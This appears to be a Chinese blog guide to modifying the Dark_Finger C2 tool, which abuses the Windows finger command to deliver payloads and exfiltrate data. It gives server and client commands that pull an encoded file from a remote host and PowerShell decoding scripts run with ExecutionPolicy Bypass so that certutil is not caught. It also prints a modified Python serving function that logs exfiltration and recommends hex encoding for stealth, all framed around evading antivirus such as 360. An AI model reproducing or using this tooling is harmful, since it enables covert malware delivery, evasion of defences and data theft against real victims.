dark_finger二开
字数 936 2025-08-22 12:23:11
Dark_Finger 二开工具使用指南
1. 工具概述
Dark_Finger 是基于 Windows 自带 finger 命令开发的 C2 (Command and Control) 工具,由 hyp3rlinx 开发。该工具利用 finger 协议进行文件传输,具有以下特点:
- 利用 Windows 原生 finger 命令,具有良好的隐蔽性
- 对 360 等安全软件保持免杀
- 提供文件下载服务功能
2. 原版 Dark_Finger 使用
2.1 服务端启动
服务端启动命令:
python dark_finger.py -d -c finger.conf -p 79
参数说明:
-c:指定配置文件-p:指定监听端口(需在 allowed_ports 范围内)-d:删除配置文件生成的文件(需同时指定-c)
2.2 配置文件格式
配置文件用于创建 Base64 编码的文件,内容为文件名。例如:
calc.exe
2.3 文件下载流程
- 服务端启动后会在同目录创建
Darkfinger_Downloads目录 - 目录中包含配置文件中指定文件的 Base64 编码字符串
- 文件名格式为:原文件名前两个字符 + ".txt"(如
ca.txt)
客户端下载命令:
finger ca10@192.168.45.1 | more +2 > calc.txt
解码命令(原版使用 certutil,但会被拦截):
certutil -decode calc.txt calc.exe
3. 二开改进内容
3.1 编码方式改进
将 Base64 编码改为十六进制编码,使用 PowerShell 解码避免拦截。
PowerShell 解码脚本 (decode.ps1):
param (
[string]$inputFile,
[string]$outputFile
)
$hexString = Get-Content $inputFile -Raw
$hexString = $hexString -replace '\s+', ''
$byteList = New-Object System.Collections.Generic.List[byte]
for ($i = 0; $i -lt $hexString.Length; $i += 2) {
$byte = [Convert]::ToByte($hexString.Substring($i, 2), 16)
$byteList.Add($byte)
}
[System.IO.File]::WriteAllBytes($outputFile, $byteList.ToArray())
使用方式:
powershell -ExecutionPolicy Bypass -File decode.ps1 calc.txt calc.exe
3.2 参数解析改进
- 使用完整文件名而非缩写
- 增加延时参数,用
:分隔文件名和延时
改进后的 finga_that_box 函数:
def finga_that_box(cmd, victim):
cmd = cmd.rstrip()
# 如果命令中包含延迟的定义
if ':' in cmd:
filename, delay = cmd.split(':')
delay = int(delay)
else:
filename = cmd
delay = 1 # 默认延迟1秒
# 获取下载目录中的所有可用文件
def get_available_files():
try:
return {f[:-4]: os.path.join(downloads_dir, f)
for f in os.listdir(downloads_dir)
if f.endswith('.exe')}
except Exception as e:
print(f"[!] Error reading available files: {str(e)}")
return {}
available_files = get_available_files()
if filename in available_files:
print(f"[+] Serving {filename}.exe")
sys.stdout.flush()
return available_files[filename], delay
if filename[:1] == ".":
print(f"[+] Exfil from: {victim[0]} {filename[1:]}")
sys.stdout.flush()
return False, delay
3.3 大文件处理优化
对于大文件传输:
- 建议设置较大延迟(10MB 文件约需30秒)
- 解码时忽略前两行
改进的解码脚本:
param (
[string]$sourceFile,
[string]$destinationFile
)
$lines = Get-Content $sourceFile
$hexString = ($lines[2..$lines.Length] -join '' -replace '\s+', '')
$byteList = New-Object System.Collections.Generic.List[byte]
for ($i = 0; $i -lt $hexString.Length; $i += 2) {
if ($i + 1 -lt $hexString.Length) {
$byte = [Convert]::ToByte($hexString.Substring($i, 2), 16)
$byteList.Add($byte)
}
}
[System.IO.File]::WriteAllBytes($destinationFile, $byteList.ToArray())
4. 使用建议
- 端口选择:使用 finger 默认端口 79 或其他 allowed_ports 中的端口
- 文件传输:
- 小文件可使用默认延迟
- 大文件需适当增加延迟参数
- 隐蔽性:
- 利用 Windows 原生命令,减少可疑行为
- 十六进制编码比 Base64 更隐蔽